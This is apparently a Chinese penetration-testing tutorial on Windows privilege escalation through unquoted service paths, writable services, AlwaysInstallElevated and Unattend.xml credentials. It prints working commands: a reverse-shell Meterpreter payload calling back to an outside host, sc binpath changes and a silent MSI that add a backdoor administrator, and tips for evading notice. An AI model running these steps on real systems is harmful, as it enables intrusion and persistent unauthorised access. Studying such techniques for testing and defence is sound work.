Windows提权的几种姿势

想象这种画面:你拿到了一台机器上Meterpreter会话了,然后你准备运行 getsystem 命令进行提权,但如果提权没有成功,你就准备认输了吗?只有懦夫才会认输。但是你不是,对吗?你是一个勇者!!!

这篇文章中我会讲Windows上一般提权的方法,并演示如何手动进行提权和其对应的Metasploit模块。当我们把权限从本地管理员提升到系统后更容易执行一些操作,而不适当的系统配置则可以使低权限的用户将自己的权限提升到高权限。

Note:本文中我们主要关注于不依赖内核漏洞的提权,例如:KiTrap0d(Meterpreter getsystem提权的四种方法之一)

Trusted Service Paths

这个漏洞存在于二进制服务文件路径中Windows错误解释空格。这些服务通常都是以系统权限运行的,如果我们利用这些服务就可能提权到系统权限。例如如下文件路径:

C:\Program Files\Some Folder\Service.exe

上面文件路径中的空格,Windows会尝试寻找并执行以空格前单词为名字的程序,操作系统会在文件路径下查找所有可能匹配项直到找到一个匹配为止。例如如下例子,Windows会尝试定位并执行如下的程序:

C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe

Note:这种特性发生在开发人员没有将整个文件路径包含在引号内。将文件路径包含在引号内会降低这个漏洞的威胁。所以这个漏洞被称为“不带引号的服务路径(Unquoted Service Paths.)”

如果我们在这个文件夹下放置一个精心构造名字的恶意文件,在服务重启后,我们就拥有以系统权限运行的恶意程序了。然而,在放置恶意软件前我们首先要确保我们拥有目标文件夹的权限。那么下面让我们来看下如何发现和利用这个漏洞。

首先,我们可以利用下面一行WMI命令查询(作者:@Danial Compton),列出目标机器上所有没有用引号包含的服务路径:

wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """

 

有命中的!PFNet服务的路径没有使用引号包含同时路径中包含空格。这里我们想要利用需要有文件夹的权限。假设我们已经有了设备上的管理员权限,那我们可以使用Windows内建工具icacls查看路径中受影响文件夹的权限:

icacls "C:\Program Files (x86)\Privacyware"

 

注意第一行BUILTIN\Users:(OI)(CI)(M):列出了每个用户具有的权限。(M)代表修改权限,这是我们具有的权限,可以进行读、写和删除文件夹中的文件和子文件夹。我们太幸运了!我们现在可以随意的创建和删除名为Privatefirewall.exe的恶意软件。那么开始吧!

Note:如果我们拥有Privacyware文件夹写权限也能完成同样的事情,更多关于Windows权限的资料请参考MSDN的链接:File and Folder Permissions

当我们利用MSFVenom生成一个可执行文件时,我们希望能够在本地管理员组(windows/adduser)里增加一个账户或者弹回一个系统权限的Meterpreter shell(如下面示例)。当然也可以进行其他的操作。

msfvenom -p windows/meterpreter/reverse_https -e x86/shikata_ga_nai LHOST=10.0.0.100 LPORT=443 -f exe -o Privatefirewall.exe

 

现在我们来执行我们的恶意软件,尝试先关闭在开启PFNet服务以弹回我们的shell。我们可以使用内建工具sc完成这些:

sc stop PFNet
sc start PFNet

 

没用!原来我们只有服务文件夹的操作权限,但是没有操作PFNet服务本身的权限。这种情况下,我们只能等待有人重启目标机器或者重头再来。

当目标机器重启后,Windows定位并重启了我们的恶意软件弹回了一个具有系统权限的Shell。

 

Metasploit Module: exploit/windows/local/trusted_service_path

这个模块只需要我们连接到了一个Meterpreter会话即可运行。

 

这里我们查看源代码发现,这个模块通过正则表达式筛选出没有用引号包含起来的服务并创建一个易受攻击的服务列表,之后尝试针对列表中第一个服务在其文件夹下面放置一个恶意可执行文件,然后重启重启服务并在重启服务后移除之前放置的恶意可执行文件。

Note:在这个模块代码中我没有看见任何一处在尝试放置可执行文件失败后检测是否拥有目标文件夹权限的代码。这让我有些疑惑…

Vulnerable Services

在讨论易受攻击服务利用的时候我们总谈论下面两类:

1.服务二进制文件(Service Binaries)

2.Windows服务(Windows Services)

前者跟我们之前说的可信服务路径很相似。可信服务路径是利用Windows文件解释的漏洞,而易受攻击的服务则是利用目标文件或文件夹自身拥有执行的权限。如果拥有权限,我们可以简单的替换服务为我们的恶意执行文件。使用Privacy Firewall为例,我们放置一个名为pfsvc.exe的可执行文件到"Privatefirewall 7.0"文件夹中。

后者是指Windows服务具有修改自己属性的能力。这些服务通常运行在后台,操作系统要通过Service Control Manager(SCM)进行控制。如果我们可以修改服务的二进制文件,在服务重启后,我们就拥有了一个以SYSTEM权限运行的自己的服务了。下面我们来看下。

最简单确定Windows服务是否存在有风险权限的方法就是使用AccessChk工具(它是SysInternals Suite中的一部分)。这个工具是由Mark Russinovich写的用于在Windows上进行一些系统或程序的高级查询、管理和故障排除。在进行渗透测试的时候鉴于反病毒软件的检测等原因我们应该尽量少的接触目标磁盘,而AccessChk这个著名的微软工具可以帮我们达到目的。

当我们在目标机器上下载了AccessChk后,我们可以执行以下命令来检查有哪个服务可以被我们修改:

accesschk.exe -uwcqv "Authenticated Users" * /accepteula

 

看看我们找到了什么,PFNet再一次的出现了!SERVICE_ALL_ACCESS意味着我们拥有PFNet服务的完全控制权。正常情况下未授权的用户是不应该有这些Windows服务权限的,但由于管理员甚至是第三方开发人员错误的配置才可能导致这种漏洞的出现(不管你是否相信,XP中的确运行着一些这样易受威胁的内建服务)。

Note:这里为了演示故意将PFNet服务修改成这种不安全的情况。

下面让我们用sc命令来查看PFNet服务的配置属性:

sc qc PFNet

 

这里请注意BINARY_PATH_NAME值是指向pfsvc.exe的,这个就是服务的二进制文件。更改这个值为增加一个用户的命令,那么当服务重启的时候这条命令就会被以系统权限执行(确保SERVICE_START_NAME被指向了LocalSystem)。我们可以多次重复执行这个程序以添加一个新用户到本地管理员组中:

sc config PFNET binpath= "net user rottenadmin P@ssword123! /add"
sc stop PFNET
sc start PFNET
sc config PFNET binpath= "net localgroup Administrators rottenadmin /add"
sc stop PFNET
sc start PFNET

 

耶?每当我们开启服务时sc命令都返回了一个错误。这是因为net usernet localgroup命令没有指向二进制服务,因此SCM无法与服务进行通信。但是别害怕,虽然报错了但是我们添加用户的命令却完成了:

 

Note:我建议在我们提权完成之后恢复binpath使其指向原先的值。这样服务会正常运行并且减少引起一些不必要的注意。

现在我们在目标机器上面拥有了一个管理员权限的账户了,如果需要后期将这个账户提升为系统权限也还是很简单的。

Metasploit Module: exploit/windows/local/service_permissions

同样这个模块只需要我们连接到了一个Meterpreter会话即可运行:

 

这个模块会尝试两种方法将权限提升至SYSTEM。第一种,如果Meterpreter会话是管理员权限,那么模块会创建并允许一个新的服务。如果当前权限不允许创建服务,模块会寻找是否拥有的文件夹或者文件权限以劫持现有服务。

无论是创建新服务还是劫持现有服务,模块都会创建一个包含随机文件名和安装路径的可执行文件。当启用AGGRESSIVE选项后,这个模块会在目标机器上所有可攻击的服务上执行,当不启用这个选项时,模块在第一次成功提权后就会结束。

AlwaysInstallElevated

AlwaysInstallElevated是微软允许非授权用户以SYSTEM权限运行安装文件(MSI)的一种设置。然而,给予用于这种权利会存在一定的安全隐患,因为如果这样做下面两个注册表的值会被置为"1":

[HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer]
“AlwaysInstallElevated”=dword:00000001 

[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer]
“AlwaysInstallElevated”=dword:00000001

想查询这两个键值最简单的方法就是使用内建的命令:

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

 

Note:如果这条命令出错类似于:"The system was unable to find the specified registry key or value",这可能是组策略里AlwaysInstallElevated没有被定义,因此不存在相关联的注册表项。

现在我们假设AlwaysInstallElevated已经启用了,我们可以利用MSFVenom工具来生成一个在目标机器上增加管理员用户的MSI安装文件:

msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o rotten.msi

当我们在目标机器上加载了新生成的MSI文件后,我们可以使用Windows命令行工具Msiexec进行安装:

msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\rotten.msi

msiexec相关参数解释如下:

1./quiet=安装过程中禁止向用户发送消息

2./qn=不使用GUI

3./i=安装程序

执行后,我们可以在目标机器上检测我们新创建的管理员用户:

 

Note:使用MSFVenom创建MSI文件时使用了always_install_elevated模块,那么在安装过程中会失败。这是因为操作系统会阻止未注册的安装。

Metasploit Module:exploit/windows/local/always_install_elevated

如下所示,这个模块只需要连接到之前运行过的会话即可:

 

这是一种叫QUIET的高级设置,多数情况下我们都会愿意启动的。启用QUIET选项就跟在Msiexec中使用/quiet选项一样不会给用户显示任何信息。这样确保不会弹出任何信息,使我们的活动更加隐蔽。

这个模块会创建一个随机文件名的MSI文件并在提权成功后删除所有已部署的文件。

Unattended Installs

自动安装允许程序在不需要管理员关注下自动安装。这种解决方案用于在拥有较多雇员和时间紧缺的较大型组织中部署程序。如果管理员没有进行清理的话,那么会有一个名为Unattend的XML文件残存在系统上。这个XML文件包含所有在安装程序过程中的配置,包括一些本地用户的配置,以及管理员账户!

全盘搜索Unattend文件是个好办法,它通常会在以下一个文件夹中:

C:\Windows\Panther\
C:\Windows\Panther\Unattend\
C:\Windows\System32\
C:\Windows\System32\sysprep\

Note:除了Unattend.xml文件外,还要留意系统中的sysprep.xml和sysprep.inf文件,这些文件中都会包含部署操作系统时使用的凭据信息,这些信息可以帮助我们提权。

当我们找到一个Unattend后,打开它并搜索标签。这一部分会定义每一个本地账户的设置(有时甚至包括域账户):



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
<useraccounts>
     <localaccounts>
         <localaccount>
             <password>
                 <value>UEBzc3dvcmQxMjMhUGFzc3dvcmQ=</value>
                 <plaintext> false </PlainText>
             </Password>
             <Description>Local Administrator</Description>
             <DisplayName>Administrator</DisplayName>
             <Group>Administrators</Group>
             <Name>Administrator</Name>
         </LocalAccount>
     </LocalAccounts>
</UserAccounts></pre>
<div>在这个Unattend文件中,我们可以看到一个本地账户被创建并加入到了管理员组中。管理员密码没有以明文形式显示,但是显然密码是以Base64进行编码的。在Kali中我们可以使用一下命令进行解码:
<div>&nbsp;
<div>echo "UEBzc3dvcmQxMjMhUGFzc3dvcmQ=" | base64 -d
<div><img src= "/uploadfile/2015/1201/20151201011830833.png" />
<div>我们的密码为 "P@ssword123!Password" ,等等,微软在进行编码前会在Unattend文件中所有的密码后面都追加 "Password" ,所以我们本地管理员的密码实际上是 "P@ssword123!"
<div>&nbsp;
<div>Note:在<UserAccounts>中,你可能还会看到<AdministratorPassword>标签这是另一种配置本地管理员账户的方式。
<div>&nbsp;
<div>Metasploit Module: post/windows/gather/enum_unattend
<div>&nbsp;
<div>这个模块比较简单。就是获取我们感兴趣目标的Meterpreter会话。
<div>&nbsp;
<div>在查看过<a href= "/ym" target= "_blank" class = "keylink" >源码</a>后我们发现,这个模块仅仅只是搜索Unattend.xml文件,然而会忽略其他像syspref.xml和syspref.inf这样的文件。简而言之,这个模块就是全盘搜索Unattend.xml文件以找到管理员账户密码。
<div>&nbsp;
<div>附加资源
<div>&nbsp;
<div>Windows Privilege Escalation Fundamentals
<div>&nbsp;
<div>这是由Ruben Boonen创建的资源合集,是我在OSCP考试中不可或缺的工具。Ruben所接触的提权技术本文并没有涉及,例如搜索注册表中记录的凭证和利用任务调度等。总之很值得一看。
<div>&nbsp;
<div>PowerUp
<div>&nbsp;
<div>PowerUp是一个由Will Schroeder写的PowerShell工具,它会查询当前机器上可用的提权漏洞。多数情况下,如果目标机器存在漏洞,那么我们就可以利用PowerUp工具来进行提权。
                         </dd></dl>
         <script type= "text/javascript" >
         <!--
         $(function(){
           $( '#Article img' ).LoadImage( true , 630 , 560 , 'http://statics.2cto.com/images/s_nopic.gif' );   
         })
         
         //-->
         </script>
     <div id= "pages" class = "box_body" id= "fontzoom" >   </div>
     <div class = "cont_ibox" >
         <!-- 广告位:2cto_左二 -->
         <script>
         (function() {
             var s = "_" + Math.random().toString( 36 ).slice( 2 );
             document.write( '<div id="' + s + '"></div>' );
             (window.slotbydup=window.slotbydup || []).push({
                 id: '2467125' ,
                 container: s,
                 size: '1000,90' ,
                 display: 'inlay-fix'
             });
         })();
         </script>
     </div>
     <dl class = "box_Nsc" >
         <dd class = "lcopy" ><a class = "ckcopy" onclick= "copyToClipBoard()" >点击复制链接 与好友分享!</a><a class = "ckhome" href= "/" >回本站首页</a></dd>
         <script>
         function copyToClipBoard(){
         var clipBoardContent=document.title + '\r\n' + document.location;
         clipBoardContent+= '\r\n' ;
         window.clipboardData.setData( "Text" ,clipBoardContent);
         alert( "恭喜您!复制成功" );
         }
         </script>
 
         <div class = "Article-Tool" >
   <div class = "bdsharebuttonbox" ><a href= "#" class = "bds_more" data-cmd= "more" ></a><a href= "#" class = "bds_qzone" data-cmd= "qzone" title= "分享到QQ空间" ></a><a href= "#" class = "bds_tsina" data-cmd= "tsina" title= "分享到新浪微博" ></a><a href= "#" class = "bds_tqq" data-cmd= "tqq" title= "分享到腾讯微博" ></a><a href= "#" class = "bds_weixin" data-cmd= "weixin" title= "分享到微信" ></a><a href= "#" class = "bds_renren" data-cmd= "renren" title= "分享到人人网" ></a><a href= "#" class = "bds_mshare" data-cmd= "mshare" title= "分享到一键分享" ></a></div>
<script>
window._bd_share_config={ "common" :{ "bdSnsKey" :{}, "bdText" : "" , "bdMini" : "2" , "bdMiniList" : false , "bdPic" : "" , "bdStyle" : "0" , "bdSize" : "24" }, "share" :{}};with(document) 0 [(getElementsByTagName( 'head' )[ 0 ]||body).appendChild(createElement( 'script' )).src= 'http://bdimg.share.baidu.com/static/api/js/share.js?v=89860593.js?cdnversion=' +~(- new Date()/36e5)];
</script>
                                 
       </div>
 
         
         </dd>
             </dl>
     <div class = "more_tags" ><span>相关TAG标签</span>
                                                                         <a href= "http://www.2cto.com/tag/zishi.html"  target= "_blank" > 姿势</a>
                                                      </div>
     <dl class = "box_NPre" >
         <dd class = "TLineX" ><strong>上一篇:</strong><a href= "/Article/201512/452006.html" >Amazon AWS Java SDK漏洞披露</a></dd>
         <dd><strong>下一篇:</strong><a href= "/Article/201512/452084.html" >Windows 10 下注册表如何隐藏?</a></dd>
     </dl>
     <dl class = "linetb" ></dl>
     <dl class = "about" ><dd>相关文章</dd></dl>
                 <div class = "alistline" ><a href= "/Article/201503/380460.html" target=blank>涨姿势了!如何破解Android手机的图形</a></div>
             <div class = "alistline" ><a href= "/Article/201505/402343.html" target=blank>powershell各种反弹姿势以及取证(二)</a></div>
             <div class = "alistline" ><a href= "/Article/201601/485352.html" target=blank>设计安全的账号系统的正确姿势</a></div>
             <div class = "alistline" ><a href= "/Article/201601/485867.html" target=blank>从活动目录获取域管理员权限的各种姿势</a></div>
             <div class = "alistline" ><a href= "/Article/201601/486307.html" target=blank>DLL注入的几种姿势(一):Windows H</a></div>
             <div class = "alistline" ><a href= "/Article/201601/487193.html" target=blank>Windows提权姿势之Hot Potato  </a></div>
             <div class = "alistline" ><a href= "/Article/201602/488419.html" target=blank>Linux内核ROP姿势详解(一) </a></div>
             <div class = "alistline" ><a href= "/Article/201602/488489.html" target=blank>Linux环境下后门维持的N种姿势</a></div>
             <div class = "alistline" ><a href= "/Article/201602/489335.html" target=blank>FIT 2016 集锦 | 解锁iOS手势密码的</a></div>
             <div class = "more_tags" style= "padding: 10px 20px 10px 20px;width: 95%;" ><span style= "background: url(http://statics.2cto.com/images/icons.png) 0 -240px no-repeat;" >热门专题推荐</span>
                                                                                                                         <a href= "http://www.2cto.com/special/md5/"  target= "_blank" > md5</a>
                                                     <a href= "http://www.2cto.com/special/jiemi/"  target= "_blank" > 解密</a>
                                                     <a href= "http://www.2cto.com/special/shadu/"  target= "_blank" > 杀毒软件</a>
                                                     <a href= "http://www.2cto.com/special/safe/"  target= "_blank" > 个人电脑安全</a>
                                                     <a href= "http://www.2cto.com/special/pojie/"  target= "_blank" > 脱壳破解</a>
                                                     <a href= "http://www.2cto.com/special/upanzhizuogongju/"  target= "_blank" > u盘启动工具</a>
                                                     <a href= "http://www.2cto.com/special/xiaomajihuogongju/"  target= "_blank" > 小马激活工具</a>
                                                     <a href= "http://www.2cto.com/special/office/"  target= "_blank" > office激活</a>
                                                     <a href= "http://www.2cto.com/special/word/"  target= "_blank" > word</a>
                                                     <a href= "http://www.2cto.com/special/win7jihuogongju/"  target= "_blank" > win7激活工具</a>
                                                                             
     </div>
     <dl class = "linetb" ></dl>
     <div class = "cont_ibox h70" >
         <!-- 广告位:2cto_左三 -->
<script>
(function() {
     var s = "_" + Math.random().toString( 36 ).slice( 2 );
     document.write( '<div id="' + s + '"></div>' );
     (window.slotbydup=window.slotbydup || []).push({
         id: '2467127' ,
         container: s,
         size: '1000,90' ,
         display: 'inlay-fix'
     });
})();
</script>
     </div>
     <dl class = "linetb" ></dl>
     <dl class = "about" ><dd>图文推荐</dd></dl>
     <div class = "cont_ibox" >
     <!-- 广告位:2cto_左四 -->
<script>
(function() {
     var s = "_" + Math.random().toString( 36 ).slice( 2 );
     document.write( '<div id="' + s + '"></div>' );
     (window.slotbydup=window.slotbydup || []).push({
         id: '2467132' ,
         container: s,
         size: '1000,90' ,
         display: 'inlay-fix'
     });
})();
</script>
</div>
     <div class = "picbox" >
                 
         <dl class = "wbox" >
             <dd class = "npicbox" ><a class = "imgbox"  href= "/Article/201609/549938.html" ><img src= "/uploadfile/Collfiles/20160921/20160921093016320.png" /></a></dd>
             <dd class = "npictext" ><a href= "/Article/201609/549938.html" >动手打造Bypass UAC</a></dd>
         </dl>
         
         <dl class = "wbox" >
             <dd class = "npicbox" ><a class = "imgbox"  href= "/Article/201609/548901.html" ><img src= "/uploadfile/Collfiles/20160919/201609190931409.jpg" /></a></dd>
             <dd class = "npictext" ><a href= "/Article/201609/548901.html" >可远程安装任意APP,</a></dd>
         </dl>
         
         <dl class = "wbox" >
             <dd class = "npicbox" ><a class = "imgbox"  href= "/Article/201609/548793.html" ><img src= "/uploadfile/Collfiles/20160918/20160918092535561.png" /></a></dd>
             <dd class = "npictext" ><a href= "/Article/201609/548793.html" >linux的FTP服务器搭建</a></dd>
         </dl>
         
         <dl class = "wbox" >
             <dd class = "npicbox" ><a class = "imgbox"  href= "/Article/201609/548774.html" ><img src= "/uploadfile/Collfiles/20160918/20160918092524536.jpg" /></a></dd>
             <dd class = "npictext" ><a href= "/Article/201609/548774.html" >解决HP M1005多功能</a></dd>
         </dl>
                     </div>
     
 
<!--高速版,加载速度快,使用前需测试页面的兼容性-->
<div id= "SOHUCS" ></div>
<script>
   (function(){
     var appid = 'cyrBEfE7C' ,
     conf = 'prod_830794cf494da8b808afb2994cfe0fee' ;
     var doc = document,
     s = doc.createElement( 'script' ),
     h = doc.getElementsByTagName( 'head' )[ 0 ] || doc.head || doc.documentElement;
     s.type = 'text/javascript' ;
     s.charset = 'utf-8' ;
     s.src =  'http://assets.changyan.sohu.com/upload/changyan.js?conf=' + conf + '&appid=' + appid;
     h.insertBefore(s,h.firstChild);
     window.SCS_NO_IFRAME = true ;
   })()
</script>
 
     </div>
     <div class = "box_right" >
         <div class = "side-ibox h250" >
         <!-- 广告位:2cto_右一 -->
         <script>
         (function() {
             var s = "_" + Math.random().toString( 36 ).slice( 2 );
             document.write( '<div id="' + s + '"></div>' );
             (window.slotbydup=window.slotbydup || []).push({
                 id: '2467140' ,
                 container: s,
                 size: '1000,90' ,
                 display: 'inlay-fix'
             });
         })();
         </script>
         </div>
         <div class = "box_right_line" ><div class = "xline" ></div></div>
         <div class = "box_right_box" >
             <dl class = "bTitle" >
                 <dd onmousemove= "m_tabs(1)" id= "ArticlesW" class = "tablinkschecked" >文章</dd>
                 <dd onmousemove= "m_tabs(3)" id= "BookW" class = "tablinkscheck" >推荐</dd>
             </dl>
         </div>
         <div class = "box_right_box" >
             <div class = "paddingbox" >
                 <dl class = "index" id= "Articles" >
                     <dd class = "picline" ></dd>
                                                             <dd class = "list" >·&nbsp;<a  href= "/Article/201609/549938.html" >动手打造Bypass UAC自动化测试小工具</a></dd>
                                         <dd class = "list" >·&nbsp;<a  href= "/Article/201609/549513.html" >一个月内发现的第六起 Linux DDoS 木马</a></dd>
                                         <dd class = "list" >·&nbsp;<a  href= "/Article/201609/548901.html" >可远程安装任意APP,小米手机藏后门?</a></dd>
                                         <dd class = "list" >·&nbsp;<a  href= "/Article/201609/548927.html" >如何从未联网PC中获取信息?试试让USB</a></dd>
                                         <dd class = "list" >·&nbsp;<a  href= "/Article/201609/548928.html" >蓝牙锁被轻易破解,物联网安全令人担忧</a></dd>
                                         <dd class = "list" >·&nbsp;<a  href= "/Article/201609/548501.html" >安卓ELF恶意软件深度分析 </a></dd>
                                         <dd class = "list" >·&nbsp;<a  href= "/Article/201609/548760.html" >设置AMD X2555 cpu黑盒超频的方法</a></dd>
                                         <dd class = "list" >·&nbsp;<a  href= "/Article/201609/548774.html" >解决HP M1005多功能打印机提示Scanne</a></dd>
                                                         </dl>
                 <dl class = "index" id= "Book" style= "display:none" >
                     <dd class = "picline" ></dd>
                                                             <dd class = "list" >·&nbsp;<a href= "/os/201601/456255.html" >win7激活工具</a></dd>
                                         <dd class = "list" >·&nbsp;<a href= "/os/201607/522176.html" >win10激活工具</a></dd>
                                         <dd class = "list" >·&nbsp;<a href= "/meinv/" >美女图片</a></dd>
                                         <dd class = "list" >·&nbsp;<a href= "/os/201602/489186.html" >office2010激活密钥</a></dd>
                                         <dd class = "list" >·&nbsp;<a href= "/meinv/sexmv/" >性感美女</a></dd>
                                         <dd class = "list" >·&nbsp;<a href= "/os/201601/488006.html" >office2010激活工具</a></dd>
                                         <dd class = "list" >·&nbsp;<a href= "/os/201601/456247.html" >小马激活工具</a></dd>
                                         <dd class = "list" >·&nbsp;<a href= "/os/201607/522176.html" >win10激活工具</a></dd>
                                                         </dl>
             </div>
             
         </div>
         
             <script type= "text/javascript" >
             <!--
                 function m_tab(index)
                 {
                     if (index == 1 ){
                         document.getElementById( "indexW" ).className = "tablinkschecked" ;
                         document.getElementById( "hotW" ).className = "tablinkscheck" ;
                         document.getElementById( "index" ).style.display = "block" ;
                         document.getElementById( "hot" ).style.display = "none" ;
                     }
                     else {
                         document.getElementById( "hotW" ).className = "tablinkschecked" ;
                         document.getElementById( "indexW" ).className = "tablinkscheck" ;
                         document.getElementById( "index" ).style.display = "none" ;
                         document.getElementById( "hot" ).style.display = "block" ;
                     }
                 }
             //-->
             </script>
         <div class = "rightlineT" ><div class = "rxline" ></div></div>
         <div class = "side-ibox h250" >
         <!-- 广告位:2cto_右二 -->
         <script>
         (function() {
             var s = "_" + Math.random().toString( 36 ).slice( 2 );
             document.write( '<div id="' + s + '"></div>' );
             (window.slotbydup=window.slotbydup || []).push({
                 id: '2467141' ,
                 container: s,
                 size: '1000,90' ,
                 display: 'inlay-fix'
             });
         })();
         </script>
         </div>
         <div class = "rightlineNo" ></div>
         
         <div class = "box_right_box" >
             <dl class = "bTitle border" >
                 <dd onmousemove= "m_tabs(1)" id= "ArticlesW" class = "tablinkschecked" >点击排行</dd>
             </dl>
         </div>
         <div class = "box_right_box" >
             <div class = "paddingbox" >
                 <dl class = "index" id= "Articles" >
                     <dd class = "picline" ></dd>
                                                                             </dl>
             </div>
         </div>
         <div class = "rightlineT" ><div class = "rxline" ></div></div>
 
         <div class = "side-ibox h250" >
         <!-- 广告位:2cto_右三 -->
             <script>
             (function() {
                 var s = "_" + Math.random().toString( 36 ).slice( 2 );
                 document.write( '<div id="' + s + '"></div>' );
                 (window.slotbydup=window.slotbydup || []).push({
                     id: '2467142' ,
                     container: s,
                     size: '1000,90' ,
                     display: 'inlay-fix'
                 });
             })();
             </script>
         </div>
         <div class = "box_right_line" ><div class = "xline" ></div></div>
         <script type= "text/javascript" >
             <!--
                 function m_tabs(index)
                 {
                     if (index == 1 ){
                         document.getElementById( "ArticlesW" ).className = "tablinkschecked" ;
                         document.getElementById( "BookW" ).className = "tablinkscheck" ;
                         document.getElementById( "Articles" ).style.display = "block" ;
                         document.getElementById( "Book" ).style.display = "none" ;
                     }
                     else if (index == 2 ){
                         document.getElementById( "ArticlesW" ).className = "tablinkscheck" ;
                         document.getElementById( "BookW" ).className = "tablinkscheck" ;
                         document.getElementById( "Articles" ).style.display = "none" ;
                         document.getElementById( "Book" ).style.display = "none" ;
                     }
                     else {
                         document.getElementById( "ArticlesW" ).className = "tablinkscheck" ;
                         document.getElementById( "BookW" ).className = "tablinkschecked" ;
                         document.getElementById( "Articles" ).style.display = "none" ;
                         document.getElementById( "Book" ).style.display = "block" ;
                     }
                 }
             //-->
             </script>
         
 
 
 
<div class = "box_right_box" >
             <div class = "paddingbox" >
                 <dl class = "index" id= "Articles" >
                     <dd class = "picline" >
 
 
 
</dd>
<!-- 代码 1 :放在页面需要展示的位置  -->
<!-- 如果您配置过sourceid,建议在div标签中配置sourceid、cid(分类id),没有请忽略  -->
<div id= "cyHotnews" role= "cylabs" data-use= "hotnews" ></div>
<!-- 代码 2 :用来读取评论框配置,此代码需放置在代码 1 之后。 -->
<!-- 如果当前页面有评论框,代码 2 请勿放置在评论框代码之前。 -->
<!-- 如果页面同时使用多个实验室项目,以下代码只需要引入一次,只配置上面的div标签即可 -->
<script type= "text/javascript" charset= "utf-8" src= "http://changyan.itc.cn/js/??lib/jquery.js,changyan.labs.js?appid=cyrBEfE7C" ></script>
     
                      
                 </dl>
             </div>
         </div>
 
 
 
         <div class = "box_right_line" ></div>
         <div class = "side-ibox h250" >
             <!-- 广告位:2cto_右四 -->
             <script>
             (function() {
                 var s = "_" + Math.random().toString( 36 ).slice( 2 );
                 document.write( '<div id="' + s + '"></div>' );
                 (window.slotbydup=window.slotbydup || []).push({
                     id: '2467143' ,
                     container: s,
                     size: '1000,90' ,
                     display: 'inlay-fix'
                 });
             })();
             </script>
         </div>
     </div><!--box_right  end-->
</div>
 
 
<script type= "text/javascript" >
<!--
function showLogin(){
     window.art.dialog({id: 'Login' ,iframe: 'http://www.2cto.com/index.php?m=member&c=index&a=login&tupe=mini' , title: '快捷登陆' , width: '450' , height: '310' , lock: true }, function(){var d = window.art.dialog({id: 'Login' }).data.iframe;var form = d.document.getElementById( 'dosubmit' );form.click(); return false ;}, function(){window.art.dialog({id: 'Login' }).close()}); void ( 0 );
}
function add_favorite(title) {
         $.getJSON( 'http://www.2cto.com/api.php?op=add_favorite&title=' +encodeURIComponent(title)+ '&url=' +encodeURIComponent(location.href)+ '&' +Math.random()+ '&callback=?' , function(data){
             if (data.status== 1 )  {
                 $( "#favorite" ).html( '收藏成功' );
             } else {
                 alert( '请登陆' );
                 window.location.href= 'http://home.2cto.com/?forward=' +encodeURIComponent(location.href);
             }
         });
     }
//-->
</script>
<script language= "JavaScript" src= "http://www.2cto.com/api.php?op=count&id=452018&modelid=1" ></script>
<!-- 广告位:右侧漂浮 -->
 
 
 
<div class = "ibox p8" >
<!-- 广告位:2cto_通栏 2 -->
<script>
(function() {
     var s = "_" + Math.random().toString( 36 ).slice( 2 );
     document.write( '<div id="' + s + '"></div>' );
     (window.slotbydup=window.slotbydup || []).push({
         id: '2471021' ,
         container: s,
         size: '1000,90' ,
         display: 'inlay-fix'
     });
})();
</script>
</div>
<div class = "ibox p8" >
<!-- 广告位:2cto_通栏 3 -->
<script>
(function() {
     var s = "_" + Math.random().toString( 36 ).slice( 2 );
     document.write( '<div id="' + s + '"></div>' );
     (window.slotbydup=window.slotbydup || []).push({
         id: '2471250' ,
         container: s,
         size: '1000,90' ,
         display: 'inlay-fix'
     });
})();
</script>
</div>
</div>
<span style= "display:none" ><script type= "text/javascript" src= "http://statics.2cto.com/js/baidu_js_push.js" ></script></span>
<div class = "foot" >
<p>
<a href= "/about" >关于我们</a> |
<a href= "/about/contact.html" >联系我们</a> |
<a href= "/about/ads.html" >广告服务</a> |
<a href= "/about/touzi.html" >投资合作</a> |
<a href= "/about/Copyright.html" >版权申明</a> |
<a href= "/about/faq.html" >在线帮助</a> |
<a href= "/about/map.html" >网站地图</a> |
<a href= "/about/tg.html" >作品发布</a> |
